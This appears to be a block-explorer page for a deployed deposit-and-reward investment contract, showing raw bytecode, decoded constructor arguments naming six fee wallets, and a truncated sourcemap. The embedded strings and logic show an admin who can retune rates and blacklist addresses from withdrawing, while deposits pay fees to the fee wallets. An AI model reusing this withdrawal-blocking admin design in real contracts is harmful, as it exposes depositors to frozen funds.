610e29565b34801561052e57600080fd5b506103d360185481565b34801561054457600080fd5b506103d360065481565b34801561055a57600080fd5b506103d3610e75565b34801561056f57600080fd5b5061046a61057e366004611d92565b610ea1565b34801561058f57600080fd5b5061046a61059e366004611d92565b610ef5565b3480156105af57600080fd5b506103d360125481565b3480156105c557600080fd5b50600e54600f546010546011546040805194855260208501939093529183015260608201526080016103dd565b3480156105fe57600080fd5b506103d361060d366004611e2b565b610f37565b61046a610620366004611e10565b610fb5565b34801561063157600080fd5b5061046a610640366004611d92565b611293565b34801561065157600080fd5b5061046a6112dd565b34801561066657600080fd5b506103d360055481565b34801561067c57600080fd5b506106f561068b366004611e10565b6001600160a01b03908116600090815260216020526040902080546001820154600283015460038401546004850154600586015460068701546008880154600789015460098a0154600a8b0154600b909b0154999c989b979a969995989490971696929591949093565b604080519c8d5260208d019b909b52998b019890985260608a019690965260808901949094526001600160a01b0390921660a088015260c087015260e0860152610100850152610120840152610140830152610160820152610180016103dd565b34801561076257600080fd5b506103d3610771366004611e10565b611483565b34801561078257600080fd5b506103d360115481565b34801561079857600080fd5b5061046a6107a7366004611d92565b6114c6565b3480156107b857600080fd5b506103d3600b5481565b3480156107ce57600080fd5b5061046a6107dd366004611d92565b611511565b3480156107ee57600080fd5b5061046a6107fd366004611d92565b61154e565b34801561080e57600080fd5b506103d3600f5481565b34801561082457600080fd5b506103d360105481565b34801561083a57600080fd5b506103d3610849366004611d92565b611594565b34801561085a57600080fd5b5061046a610869366004611d92565b6115a0565b34801561087a57600080fd5b506103d3600e5481565b34801561089057600080fd5b506103d361089f366004611d92565b6115f0565b3480156108b057600080fd5b506103d360195481565b3480156108c657600080fd5b5061046a6108d5366004611d92565b611600565b3480156108e657600080fd5b5061046a6108f5366004611d92565b611654565b34801561090657600080fd5b5061046a610915366004611d77565b611691565b34801561092657600080fd5b506106f5610935366004611e10565b602160205260009081526040902080546001820154600283015460038401546004850154600586015460068701546007880154600889015460098a0154600a8b0154600b909b0154999a98999798969795966001600160a01b039095169593949293919290918c565b3480156109aa57600080fd5b506016546109bd90610100900460ff1681565b60405190151581526020016103dd565b3480156109d957600080fd5b506109ed6109e8366004611d92565b6116d5565b604080519283526020830191909152016103dd565b348015610a0e57600080fd5b5061046a610a1d366004611d92565b61173b565b348015610a2e57600080fd5b506109bd610a3d366004611e10565b611779565b348015610a4e57600080fd5b506103d360015481565b348015610a6457600080fd5b506103d3600a5481565b348015610a7a57600080fd5b506103d3610a89366004611dd7565b6117c5565b348015610a9a57600080fd5b506103d360075481565b348015610ab057600080fd5b5061046a610abf366004611d92565b6117d9565b348015610ad057600080fd5b506103d360095481565b348015610ae657600080fd5b506103d3610af5366004611e10565b611816565b348015610b0657600080fd5b5061046a610b15366004611e55565b611892565b61046a6118e7565b348015610b2e57600080fd5b50426103d3565b61046a610b43366004611e10565b611976565b348015610b5457600080fd5b5061046a610b63366004611d92565b6119f4565b348015610b7457600080fd5b5061046a610b83366004611d92565b611a42565b348015610b9457600080fd5b5061046a610ba3366004611e88565b611a7f565b348015610bb457600080fd5b506103d3600d5481565b348015610bca57600080fd5b506109bd610bd9366004611e10565b60176020526000908152604090205460ff1681565b33600090815260216020526040902060165460ff1680610c1857506020546001600160a01b031633145b610c3d5760405162461bcd60e51b8152600401610c3490611f0c565b60405180910390fd5b6000610c47610e75565b9050808315610c9f576000610c5c3383610f37565b9050610c688282611b1a565b91506000610c75836115f0565b6001860154909150610c879082611b1a565b6001860155601054610c999082611b1a565b60105550505b600b546004840154610cb2904290611b39565b10610cf157600a5483600901541015610cdb576009830154610cd5906001611b1a565b60098401555b600a830154610ceb906001611b1a565b600a8401555b610d14610d0960005483611b5590919063ffffffff16565b600285015490611b1a565b600284015560006003840155426004840155600554610d4190610d38908490611b55565b60135490611b1a565b60135550505050565b601a546001600160a01b03163314610d745760405162461bcd60e51b8152600401610c3490611f43565b6014811115610d8257600080fd5b600455565b6000610dcc610d9860145484611b62565b610dc7601554610dbc610dc1610db06014548a611b62565b610dbc6015548c611b62565b611b1a565b89611b55565b611b55565b949350505050565b6000610de38383601354610d87565b90505b92915050565b601a546001600160a01b03163314610e165760405162461bcd60e51b8152600401610c3490611f43565b600f811115610e2457600080fd5b600355565b601a546001600160a01b03163314610e535760405162461bcd60e51b8152600401610c3490611f43565b601a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610e9c610e8333611816565b3360009081526021602052604090206003015490611b1a565b905090565b601a546001600160a01b03163314610ecb5760405162461bcd60e51b8152600401610c3490611f6c565b6018811115610ed957600080fd5b610ee481603c611faa565b610eef90603c611faa565b60195550565b601a546001600160a01b03163314610f1f5760405162461bcd60e51b8152600401610c3490611f6c565b610f3181670de0b6b3a7640000611faa565b60075550565b6001600160a01b038216600090815260216020526040812060090154610f5f57506000610de6565b600980546001600160a01b038516600090815260216020526040812090920154610f8891611b62565b90506000610fab600254610fa58487611b6290919063ffffffff16565b90611b55565b9250610de6915050565b60165460ff16610fd75760405162461bcd60e51b8152600401610c3490611f0c565b3360009081526021602052604090206007543410156110385760405162461bcd60e51b815260206004820152601b60248201527f4d696e696e756d20696e766573746d656e74206e6f74206d65742e00000000006044820152606401610c34565b60085481546110479034611b1a565b11156110955760405162461bcd60e51b815260206004820152601a60248201527f4d6178206465706f736974206c696d697420726561636865642e0000000000006044820152606401610c34565b60006110a5346104dd4782611b39565b60018301549091506110b79034611b1a565b600183015581546110c89034611b1a565b825560038201546110d99082611b1a565b600383015560058201546001600160a01b0316611178576001600160a01b038316331461111e576005820180546001600160a01b0319166001600160a01b0385161790555b60058201546001600160a01b03168015611176576001600160a01b038116600090815260216020526040902060060154611159906001611b1a565b6001600160a01b0382166000908152602160205260409020600601555b505b60058201546001600160a01b03161561124c5760058201546001600160a01b0316801561124a5760006111bc600254610fa560015434611b6290919063ffffffff16565b6040519091506001600160a01b0383169082156108fc029083906000818181858888f193505050501580156111f5573d6000803e3d6000fd5b506001600160a01b03821660009081526021602052604090206007015461121c9082611b1a565b6001600160a01b0383166000908152602160205260409020600701556011546112459082611b1a565b601155505b505b600061125734611b97565b905061126f6112663483611b39565b600e5490611b1a565b600e55600f54611280906001611b1a565b600f5561128d6000610bee565b50505050565b601a546001600160a01b031633146112bd5760405162461bcd60e51b8152600401610c3490611f43565b600a81101580156112cf575060648111155b6112d857600080fd5b600155565b60165460ff166112ff5760405162461bcd60e51b8152600401610c3490611f0c565b601654610100900460ff161561136f573360009081526017602052604090205460ff161561136f5760405162461bcd60e51b815260206004820152601760248201527f4164647265737320697320626c61636b6c69737465642e0000000000000000006044820152606401610c34565b33600090815260216020526040812090611387610e75565b90506000611394826115f0565b9050600d54836009015410156113d0576113c96113c2600254610fa5600c5485611b6290919063ffffffff16565b8290611b39565b90506113df565b600060098401819055600a8401555b42600b840181905560006003850155600484015560065461140590610d38908490611b55565b601355804710156114135750475b600061142861142183611b97565b8390611b39565b604051909150339082156108fc029083906000818181858888f19350505050158015611458573d6000803e3d6000fd5b5060088401546114689082611b1a565b600885015560125461147a9082611b1a565b60125550505050565b6000806114b461149284611816565b6001600160a01b03851660009081526021602052604090206003015490611b1a565b90506114bf816115f0565b9392505050565b601a546001600160a01b031633146114f05760405162461bcd60e51b8152600401610c3490611f43565b600a811015801561150357506103848111155b61150c57600080fd5b600955565b601a546001600160a01b0316331461153b5760405162461bcd60e51b8152600401610c3490611f43565b603281111561154957600080fd5b600555565b601a546001600160a01b031633146115785760405162461bcd60e51b8152600401610c3490611f6c565b61158381603c611faa565b61158e90603c611faa565b60185550565b6000610de68247610dd4565b601a546001600160a01b031633146115ca5760405162461bcd60e51b8152600401610c3490611f6c565b600a8110156115d857600080fd5b6115ea81670de0b6b3a7640000611faa565b60085550565b6000610de6826013546104bd4790565b601a546001600160a01b0316331461162a5760405162461bcd60e51b8152600401610c3490611f43565b601881111561163857600080fd5b61164381603c611faa565b61164e90603c611faa565b600b5550565b601a546001600160a01b0316331461167e5760405162461bcd60e51b8152600401610c3490611f43565b601e81111561168c57600080fd5b600a55565b601a546001600160a01b031633146116bb5760405162461bcd60e51b8152600401610c3490611f43565b601680549115156101000261ff0019909216919091179055565b600080806116f3846104dd816116ed81475b90611b1a565b90611b39565b9050600061170c60005483611b5590919063ffffffff16565b905062015180600061171e8284611b62565b9050600061172c82896117c5565b93989397509295505050505050565b601a546001600160a01b031633146117655760405162461bcd60e51b8152600401610c3490611f43565b61038481111561177457600080fd5b600c55565b601a546000906001600160a01b031633146117a65760405162461bcd60e51b8152600401610c3490611f43565b506001600160a01b031660009081526017602052604090205460ff1690565b6000610de3836013546104bd856116e74790565b601a546001600160a01b031633146118035760405162461bcd60e51b8152600401610c3490611f43565b603281111561181157600080fd5b600655565b6001600160a01b038116600090815260216020526040812060040154819061183f904290611b39565b9050600061184f82601854611d4c565b9050600061185f60005483611d4c565b6001600160a01b038616600090815260216020526040902060020154909150611889908290611b62565b95945050505050565b601a546001600160a01b031633146118bc5760405162461bcd60e51b8152600401610c3490611f43565b6001600160a01b03919091166000908152601760205260409020805460ff1916911515919091179055565b6020546001600160a01b031633146119115760405162461bcd60e51b8152600401610c3490611f43565b3360009081526021602052604081209061192f346104dd4782611b39565b60018301549091506119419034611b1a565b600183015581546119529034611b1a565b825560038201546119639082611b1a565b60038301556119726000610bee565b5050565b60165460ff166119a957601a546001600160a01b03163314156119ac576016805460ff191660011790556119a981610fb5565b50565b60405162461bcd60e51b815260206004820152601960248201527f436f6e7472616374206e6f742079657420737461727465642e000000000000006044820152606401610c34565b601a546001600160a01b03163314611a1e5760405162461bcd60e51b8152600401610c3490611f43565b620751208110158015611a345750620afc808111155b611a3d57600080fd5b600055565b601a546001600160a01b03163314611a6c5760405162461bcd60e51b8152600401610c3490611f43565b600c811115611a7a57600080fd5b600d55565b601a546001600160a01b03163314611aa95760405162461bcd60e51b8152600401610c3490611f43565b60005b8281101561128d578160176000868685818110611acb57611acb611fc9565b9050602002016020810190611ae09190611e10565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580611b1281611fdf565b915050611aac565b600080611b278385611ffa565b905083811015610de357610de3612012565b600082821115611b4b57611b4b612012565b610de38284612028565b600080610dcc838561203f565b600082611b7157506000610de6565b6000611b7d8385611faa565b905082611b8a858361203f565b14610de357610de3612012565b600080611bb5600254610fa560035486611b6290919063ffffffff16565b90506000611bd4600254610fa560045487611b6290919063ffffffff16565b601b546040519192506001600160a01b03169083156108fc029084906000818181858888f19350505050158015611c0f573d6000803e3d6000fd5b50601c546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015611c4a573d6000803e3d6000fd5b50601d546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015611c85573d6000803e3d6000fd5b50601e546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015611cc0573d6000803e3d6000fd5b50601f546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015611cfb573d6000803e3d6000fd5b506020546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611d36573d6000803e3d6000fd5b50610dcc611d45836005611b62565b8290611b1a565b6000818310611d5b5781610de3565b5090919050565b80358015158114611d7257600080fd5b919050565b600060208284031215611d8957600080fd5b610de382611d62565b600060208284031215611da457600080fd5b5035919050565b600080600060608486031215611dc057600080fd5b505081359360208301359350604090920135919050565b60008060408385031215611dea57600080fd5b50508035926020909101359150565b80356001600160a01b0381168114611d7257600080fd5b600060208284031215611e2257600080fd5b610de382611df9565b60008060408385031215611e3e57600080fd5b611e4783611df9565b946020939093013593505050565b60008060408385031215611e6857600080fd5b611e7183611df9565b9150611e7f60208401611d62565b90509250929050565b600080600060408486031215611e9d57600080fd5b833567ffffffffffffffff80821115611eb557600080fd5b818601915086601f830112611ec957600080fd5b813581811115611ed857600080fd5b8760208260051b8501011115611eed57600080fd5b602092830195509350611f039186019050611d62565b90509250925092565b60208082526019908201527f436f6e7472616374206e6f742079657420537461727465642e00000000000000604082015260600190565b6020808252600f908201526e20b236b4b7103ab9b29037b7363c9760891b604082015260600190565b6020808252600e908201526d41646d696e20757365206f6e6c7960901b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611fc457611fc4611f94565b500290565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611ff357611ff3611f94565b5060010190565b6000821982111561200d5761200d611f94565b500190565b634e487b7160e01b600052600160045260246000fd5b60008282101561203a5761203a611f94565b500390565b60008261205c57634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212202dbcd010d6068ff5b5863bc1889a4f9f71d877121deb702a8ece7b8623db065c64736f6c634300080900330000000000000000000000002f0ead34abdd8375382ad56b8da4b14d94ad9b6600000000000000000000000053830b860488cb25d9a59ec7ad4ee2cc9c806934000000000000000000000000843889846bc45b6545c4ce9073e94cb21cd7c8fa0000000000000000000000007ec5c8753ed76a517a5c48de14f489f334b33ed2000000000000000000000000ce642b0f90bd60c26f0ae976b85b0c0158c455e2000000000000000000000000b0678bed62b35eaf0947593ba0d96b956a5432c5
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000002f0ead34abdd8375382ad56b8da4b14d94ad9b6600000000000000000000000053830b860488cb25d9a59ec7ad4ee2cc9c806934000000000000000000000000843889846bc45b6545c4ce9073e94cb21cd7c8fa0000000000000000000000007ec5c8753ed76a517a5c48de14f489f334b33ed2000000000000000000000000ce642b0f90bd60c26f0ae976b85b0c0158c455e2000000000000000000000000b0678bed62b35eaf0947593ba0d96b956a5432c5
-----Decoded View---------------
Arg [0] : _dev1 (address): 0x2f0ead34abdd8375382ad56b8da4b14d94ad9b66
Arg [1] : _dev2 (address): 0x53830b860488cb25d9a59ec7ad4ee2cc9c806934
Arg [2] : _dev3 (address): 0x843889846bc45b6545c4ce9073e94cb21cd7c8fa
Arg [3] : _prtnr1 (address): 0x7ec5c8753ed76a517a5c48de14f489f334b33ed2
Arg [4] : _prtnr2 (address): 0xce642b0f90bd60c26f0ae976b85b0c0158c455e2
Arg [5] : _mkt (address): 0xb0678bed62b35eaf0947593ba0d96b956a5432c5
-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000002f0ead34abdd8375382ad56b8da4b14d94ad9b66
Arg [1] : 00000000000000000000000053830b860488cb25d9a59ec7ad4ee2cc9c806934
Arg [2] : 000000000000000000000000843889846bc45b6545c4ce9073e94cb21cd7c8fa
Arg [3] : 0000000000000000000000007ec5c8753ed76a517a5c48de14f489f334b33ed2
Arg [4] : 000000000000000000000000ce642b0f90bd60c26f0ae976b85b0c0158c455e2
Arg [5] : 000000000000000000000000b0678bed62b35eaf0947593ba0d96b956a5432c5
Deployed ByteCode Sourcemap
59:18365:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;236:38;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;236:38:0;;;;;;;;721:35;;;;;;;;;;;;;;;;13404:101;;;;;;;;;;-1:-1:-1;13479:10:0;13447:7;13473:17;;;:5;:17;;;;;:24;;;13404:101;;10818:97;;;;;;;;;;-1:-1:-1;10886:21:0;10818:97;;504:50;;;;;;;;;;;;;;;;3611:1303;;;;;;;;;;-1:-1:-1;3611:1303:0;;;;;:::i;:::-;;:::i;:::-;;149:45;;;;;;;;;;;;;;;;15873:160;;;;;;;;;;-1:-1:-1;15873:160:0;;;;;:::i;:::-;;:::i;11291:700::-;;;;;;;;;;-1:-1:-1;11291:700:0;;;;;:::i;:::-;;:::i;12147:164::-;;;;;;;;;;-1:-1:-1;12147:164:0;;;;;:::i;:::-;;:::i;15705:160::-;;;;;;;;;;-1:-1:-1;15705:160:0;;;;;:::i;:::-;;:::i;14197:140::-;;;;;;;;;;-1:-1:-1;14197:140:0;;;;;:::i;:::-;;:::i;1208:41::-;;;;;;;;;;;;;;;;386:43;;;;;;;;;;;;;;;;13513:143;;;;;;;;;;;;;:::i;17787:197::-;;;;;;;;;;-1:-1:-1;17787:197:0;;;;;:::i;:::-;;:::i;17462:155::-;;;;;;;;;;-1:-1:-1;17462:155:0;;;;;:::i;:::-;;:::i;960:29::-;;;;;;;;;;;;;;;;13174:222;;;;;;;;;;-1:-1:-1;13331:11:0;;13344:13;;13359;;13374;;13174:222;;;1905:25:1;;;1961:2;1946:18;;1939:34;;;;1989:18;;;1982:34;2047:2;2032:18;;2025:34;1892:3;1877:19;13174:222:0;1674:391:1;9410::0;;;;;;;;;;-1:-1:-1;9410:391:0;;;;;:::i;:::-;;:::i;6470:1670::-;;;;;;:::i;:::-;;:::i;16041:186::-;;;;;;;;;;-1:-1:-1;16041:186:0;;;;;:::i;:::-;;:::i;4922:1497::-;;;;;;;;;;;;;:::i;341:38::-;;;;;;;;;;;;;;;;9809:1001;;;;;;;;;;-1:-1:-1;9809:1001:0;;;;;:::i;:::-;-1:-1:-1;;;;;10188:11:0;;;9864:23;10188:11;;;:5;:11;;;;;:26;;10241:23;;;;10286:18;;;;10331:23;;;;10379:21;;;;10424:20;;;;10469:26;;;;10525;;;;10585:30;;;;10649;;;;10714:31;;;;10777:28;;;;;10188:26;;10241:23;;10286:18;;10331:23;;10379:21;;10424:20;;;;;10469:26;;10525;;10585:30;;9809:1001;;;;;2786:25:1;;;2842:2;2827:18;;2820:34;;;;2870:18;;;2863:34;;;;2928:2;2913:18;;2906:34;;;;2971:3;2956:19;;2949:35;;;;-1:-1:-1;;;;;3021:32:1;;;3041:3;3000:19;;2993:61;3085:3;3070:19;;3063:35;3129:3;3114:19;;3107:35;3173:3;3158:19;;3151:35;3217:3;3202:19;;3195:35;3261:3;3246:19;;3239:36;3306:3;3291:19;;3284:36;2773:3;2758:19;9809:1001:0;2329:997:1;11026:211:0;;;;;;;;;;-1:-1:-1;11026:211:0;;;;;:::i;:::-;;:::i;925:28::-;;;;;;;;;;;;;;;;16836:200;;;;;;;;;;-1:-1:-1;16836:200:0;;;;;:::i;:::-;;:::i;669:43::-;;;;;;;;;;;;;;;;16235:192;;;;;;;;;;-1:-1:-1;16235:192:0;;;;;:::i;:::-;;:::i;17625:154::-;;;;;;;;;;-1:-1:-1;17625:154:0;;;;;:::i;:::-;;:::i;855:28::-;;;;;;;;;;;;;;;;890;;;;;;;;;;;;;;;;12319:132;;;;;;;;;;-1:-1:-1;12319:132:0;;;;;:::i;:::-;;:::i;17992:203::-;;;;;;;;;;-1:-1:-1;17992:203:0;;;;;:::i;:::-;;:::i;822:26::-;;;;;;;;;;;;;;;;11999:140;;;;;;;;;;-1:-1:-1;11999:140:0;;;;;:::i;:::-;;:::i;1253:46::-;;;;;;;;;;;;;;;;17262:192;;;;;;;;;;-1:-1:-1;17262:192:0;;;;;:::i;:::-;;:::i;17044:210::-;;;;;;;;;;-1:-1:-1;17044:210:0;;;;;:::i;:::-;;:::i;2790:152::-;;;;;;;;;;-1:-1:-1;2790:152:0;;;;;:::i;:::-;;:::i;2045:37::-;;;;;;;;;;-1:-1:-1;2045:37:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2045:37:0;;;;;;;;;;;;;;1118:34;;;;;;;;;;-1:-1:-1;1118:34:0;;;;;;;;;;;;;;3496:14:1;;3489:22;3471:41;;3459:2;3444:18;1118:34:0;3331:187:1;12544:440:0;;;;;;;;;;-1:-1:-1;12544:440:0;;;;;:::i;:::-;;:::i;:::-;;;;3697:25:1;;;3753:2;3738:18;;3731:34;;;;3670:18;12544:440:0;3523:248:1;16645:183:0;;;;;;;;;;-1:-1:-1;16645:183:0;;;;;:::i;:::-;;:::i;3412:191::-;;;;;;;;;;-1:-1:-1;3412:191:0;;;;;:::i;:::-;;:::i;201:28::-;;;;;;;;;;;;;;;;618:44;;;;;;;;;;;;;;;;12992:174;;;;;;;;;;-1:-1:-1;12992:174:0;;;;;:::i;:::-;;:::i;438:43::-;;;;;;;;;;;;;;;;16435:202;;;;;;;;;;-1:-1:-1;16435:202:0;;;;;:::i;:::-;;:::i;580:34::-;;;;;;;;;;;;;;;;13664:412;;;;;;;;;;-1:-1:-1;13664:412:0;;;;;:::i;:::-;;:::i;2950:179::-;;;;;;;;;;-1:-1:-1;2950:179:0;;;;;:::i;:::-;;:::i;8405:477::-;;;:::i;10923:95::-;;;;;;;;;;-1:-1:-1;10995:15:0;10923:95;;8148:249;;;;;;:::i;:::-;;:::i;15458:239::-;;;;;;;;;;-1:-1:-1;15458:239:0;;;;;:::i;:::-;;:::i;18207:214::-;;;;;;;;;;-1:-1:-1;18207:214:0;;;;;:::i;:::-;;:::i;3137:267::-;;;;;;;;;;-1:-1:-1;3137:267:0;;;;;:::i;:::-;;:::i;763:50::-;;;;;;;;;;;;;;;;1159:43;;;;;;;;;;-1:-1:-1;1159:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3611:1303;3697:10;3671:17;3691;;;:5;:17;;;;;3727:15;;;;;:36;;-1:-1:-1;3760:3:0;;-1:-1:-1;;;;;3760:3:0;3746:10;:17;3727:36;3719:74;;;;-1:-1:-1;;;3719:74:0;;;;;;;:::i;:::-;;;;;;;;;3806:16;3825:11;:9;:11::i;:::-;3806:30;-1:-1:-1;3806:30:0;3894:397;;;;3924:26;3953:50;3975:10;3987:15;3953:21;:50::i;:::-;3924:79;-1:-1:-1;4036:39:0;:15;3924:79;4036:19;:39::i;:::-;4018:57;;4090:21;4114:33;4131:15;4114:16;:33::i;:::-;4181:16;;;;4090:57;;-1:-1:-1;4181:35:0;;4090:57;4181:20;:35::i;:::-;4162:16;;;:54;4247:13;;:32;;4265:13;4247:17;:32::i;:::-;4231:13;:48;-1:-1:-1;;3894:397:0;4346:13;;4327:14;;;;4307:35;;:15;;:19;:35::i;:::-;:52;4304:361;;4405:24;;4379:4;:23;;;:50;4376:146;;;4476:23;;;;:30;;4504:1;4476:27;:30::i;:::-;4450:23;;;:56;4376:146;4621:24;;;;:32;;4651:1;4621:29;:32::i;:::-;4594:24;;;:59;4304:361;4699:58;4715:41;4735:20;;4715:15;:19;;:41;;;;:::i;:::-;4699:11;;;;;:15;:58::i;:::-;4685:11;;;:72;4787:1;4768:16;;;:20;4816:15;4799:14;;;:32;4885:19;;4857:49;;4872:33;;:8;;:12;:33::i;:::-;4857:10;;;:14;:49::i;:::-;4844:10;:62;-1:-1:-1;;;;3611:1303:0:o;15873:160::-;15947:5;;-1:-1:-1;;;;;15947:5:0;15933:10;:19;15925:47;;;;-1:-1:-1;;;15925:47:0;;;;;;;:::i;:::-;16000:2;15991:5;:11;;15983:20;;;;;;16014:3;:11;15873:160::o;11291:700::-;11370:7;11639:344;11670:21;11683:3;;11688:2;11670:12;:21::i;:::-;11715:267;11728:4;;11760:221;11803:131;11850:21;11863:3;;11868:2;11850:12;:21::i;:::-;11911:22;11924:4;;11930:2;11911:12;:22::i;:::-;11803:12;:131::i;:::-;11978:2;11760:12;:221::i;11715:267::-;11639:12;:344::i;:::-;11632:351;11291:700;-1:-1:-1;;;;11291:700:0:o;12147:164::-;12229:7;12255:48;12270:3;12275:15;12292:10;;12255:14;:48::i;:::-;12248:55;;12147:164;;;;;:::o;15705:160::-;15779:5;;-1:-1:-1;;;;;15779:5:0;15765:10;:19;15757:47;;;;-1:-1:-1;;;15757:47:0;;;;;;;:::i;:::-;15832:2;15823:5;:11;;15815:20;;;;;;15846:3;:11;15705:160::o;14197:140::-;14280:5;;-1:-1:-1;;;;;14280:5:0;14266:10;:19;14258:47;;;;-1:-1:-1;;;14258:47:0;;;;;;;:::i;:::-;14316:5;:13;;-1:-1:-1;;;;;;14316:13:0;-1:-1:-1;;;;;14316:13:0;;;;;;;;;;14197:140::o;13513:143::-;13554:7;13580:68;13614:33;13636:10;13614:21;:33::i;:::-;13586:10;13580:17;;;;:5;:17;;;;;:29;;;;:33;:68::i;:::-;13573:75;;13513:143;:::o;17787:197::-;17875:5;;-1:-1:-1;;;;;17875:5:0;17861:10;:19;17853:46;;;;-1:-1:-1;;;17853:46:0;;;;;;;:::i;:::-;17927:2;17918:5;:11;;17910:20;;;;;;17961:10;:5;17969:2;17961:10;:::i;:::-;:15;;17974:2;17961:15;:::i;:::-;17941:17;:35;-1:-1:-1;17787:197:0:o;17462:155::-;17543:5;;-1:-1:-1;;;;;17543:5:0;17529:10;:19;17521:46;;;;-1:-1:-1;;;17521:46:0;;;;;;;:::i;:::-;17597:12;:5;17605:4;17597:12;:::i;:::-;17578:16;:31;-1:-1:-1;17462:155:0:o;9410:391::-;-1:-1:-1;;;;;9513:11:0;;9491:7;9513:11;;;:5;:11;;;;;:30;;;9510:284;;-1:-1:-1;9572:1:0;9565:8;;9510:284;9662:14;;;-1:-1:-1;;;;;9627:11:0;;9606:18;9627:11;;;:5;:11;;;;;:30;;;;:50;;:34;:50::i;:::-;9606:71;;9693:14;9710:44;9737:16;;9710:22;9721:10;9710:6;:10;;:22;;;;:::i;:::-;:26;;:44::i;:::-;9693:61;-1:-1:-1;9769:13:0;;-1:-1:-1;;9769:13:0;6470:1670;6537:15;;;;6529:53;;;;-1:-1:-1;;;6529:53:0;;;;;;;:::i;:::-;6619:10;6593:17;6613;;;:5;:17;;;;;6662:16;;6649:9;:29;;6641:69;;;;-1:-1:-1;;;6641:69:0;;6277:2:1;6641:69:0;;;6259:21:1;6316:2;6296:18;;;6289:30;6355:29;6335:18;;;6328:57;6402:18;;6641:69:0;6075:351:1;6641:69:0;6767:20;;6729:19;;:34;;6753:9;6729:23;:34::i;:::-;:58;;6721:97;;;;-1:-1:-1;;;6721:97:0;;6633:2:1;6721:97:0;;;6615:21:1;6672:2;6652:18;;;6645:30;6711:28;6691:18;;;6684:56;6757:18;;6721:97:0;6431:350:1;6721:97:0;6829:18;6850:64;6866:9;6877:36;:21;6866:9;6877:25;:36::i;6850:64::-;6944:16;;;;6829:85;;-1:-1:-1;6944:31:0;;6965:9;6944:20;:31::i;:::-;6925:16;;;:50;7008:19;;:34;;7032:9;7008:23;:34::i;:::-;6986:56;;7072:16;;;;:32;;7093:10;7072:20;:32::i;:::-;7053:16;;;:51;7121:13;;;;-1:-1:-1;;;;;7121:13:0;7117:328;;-1:-1:-1;;;;;7169:17:0;;7176:10;7169:17;7165:77;;7207:13;;;:19;;-1:-1:-1;;;;;;7207:19:0;-1:-1:-1;;;;;7207:19:0;;;;;7165:77;7276:13;;;;-1:-1:-1;;;;;7276:13:0;7308:21;;7304:130;;-1:-1:-1;;;;;7382:14:0;;;;;;:5;:14;;;;;:29;;;:36;;7416:1;7382:33;:36::i;:::-;-1:-1:-1;;;;;7350:14:0;;;;;;:5;:14;;;;;:29;;:68;7304:130;7150:295;7117:328;7477:13;;;;-1:-1:-1;;;;;7477:13:0;:27;7473:461;;7538:13;;;;-1:-1:-1;;;;;7538:13:0;7570:20;;7566:357;;7611:18;7632:45;7660:16;;7632:23;7646:8;;7632:9;:13;;:23;;;;:::i;:45::-;7696;;7611:66;;-1:-1:-1;;;;;;7696:33:0;;;:45;;;;;7611:66;;7696:45;;;;7611:66;7696:33;:45;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;7795:13:0;;;;;;:5;:13;;;;;:32;;;:48;;7832:10;7795:36;:48::i;:::-;-1:-1:-1;;;;;7760:13:0;;;;;;:5;:13;;;;;:32;;:83;7878:13;;:29;;7896:10;7878:17;:29::i;:::-;7862:13;:45;-1:-1:-1;7566:357:0;7506:428;7473:461;7946:18;7967;7975:9;7967:7;:18::i;:::-;7946:39;-1:-1:-1;8010:42:0;8026:25;:9;7946:39;8026:13;:25::i;:::-;8010:11;;;:15;:42::i;:::-;7996:11;:56;8079:13;;:20;;8097:1;8079:17;:20::i;:::-;8063:13;:36;8110:22;8126:5;8110:15;:22::i;:::-;6518:1622;;;6470:1670;:::o;16041:186::-;16120:5;;-1:-1:-1;;;;;16120:5:0;16106:10;:19;16098:47;;;;-1:-1:-1;;;16098:47:0;;;;;;;:::i;:::-;16173:2;16164:5;:11;;:27;;;;;16188:3;16179:5;:12;;16164:27;16156:36;;;;;;16203:8;:16;16041:186::o;4922:1497::-;4968:15;;;;4960:53;;;;-1:-1:-1;;;4960:53:0;;;;;;;:::i;:::-;5030:15;;;;;;;5026:108;;;5083:10;5071:23;;;;:11;:23;;;;;;;;5070:24;5062:60;;;;-1:-1:-1;;;5062:60:0;;6988:2:1;5062:60:0;;;6970:21:1;7027:2;7007:18;;;7000:30;7066:25;7046:18;;;7039:53;7109:18;;5062:60:0;6786:347:1;5062:60:0;5172:10;5146:17;5166;;;:5;:17;;;;;;5212:11;:9;:11::i;:::-;5194:29;;5234:16;5253:25;5270:7;5253:16;:25::i;:::-;5234:44;;5404:30;;5378:4;:23;;;:56;5375:475;;;5571:64;5584:50;5617:16;;5584:28;5597:14;;5584:8;:12;;:28;;;;:::i;:50::-;5571:8;;:12;:64::i;:::-;5560:75;;5375:475;;;5788:1;57